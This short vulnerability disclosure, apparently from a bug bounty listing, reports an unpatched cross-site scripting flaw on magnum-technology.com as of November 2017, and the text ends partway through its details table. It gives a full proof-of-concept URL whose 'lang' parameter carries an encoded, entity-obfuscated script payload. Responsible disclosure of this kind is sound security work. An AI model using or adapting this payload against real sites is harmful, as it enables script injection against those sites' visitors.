magnum-technology.com XSS vulnerability

Vulnerable URL: http://www.magnum-technology.com/?lang=EN%22%27--!%3E%3CHtml%20OnMouseEnter=%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2396%3BOPENBUGBOUNTY%26%2396%26%2341%20%3C!--//%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 21.11.2017 Vulnerability...